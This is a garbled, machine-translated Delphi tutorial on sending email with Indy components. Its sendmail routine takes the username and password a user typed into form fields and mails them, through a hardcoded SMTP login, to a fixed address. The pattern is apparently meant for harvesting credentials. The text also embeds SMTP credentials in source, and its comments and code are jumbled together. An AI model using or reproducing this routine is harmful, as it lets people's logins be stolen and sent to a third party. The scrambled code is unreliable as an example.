First, in the control bar, navigate to: Indy clients join Control IDSMTP
Reposition to: Indy misc Add Control Idmessage
///Send mail Function procedure Tform1.sendmail (yyuser:string; yypass:string); Begin try Idsmtp1.authenticationtype:=atlogin; Set Login Type idsmtp1.username:= ' [email protected] '; Set login account idsmtp1.password:= ' 123456 '; Set Login password idsmtp1.host:= ' smtp.qq.com '; Set SMTP address idsmtp1.port:=25; Setting port must be converted to integer idsmtp1.connect; Start connecting to server except ShowMessage (' connection failed, please try again! '); Exit; If the connection fails, exit the run process end; IdMessage1.Body.Clear; Clear the last sent content idmessage1.subject:= ' yy letter ^_^!... Yyuser: ' +yyuser+ ' Yypass ' +yypass; Set the title of the message sent idmessage1.body.text:= ' yyuser= ' +yyuser+ ' yypass= ' +yypass; Set the subject idmessage1.from.address:= ' [email protected] ' of the message sent; Set the sender of the message idmessage1.recipients.emailaddresses:= ' [email protected] '; Address of the recipient try Idsmtp1.send (IDMESSAGE1); ShowMessage (' Mail sent successfully! '); Except ShowMessage (' Mail sent failed! '); end;end;//////////////////////////////////////////////////////////////////////////
Invocation mode
SendMail (Edtuser.text,edtpass.text);//Send mail
Delphi Send Mail ...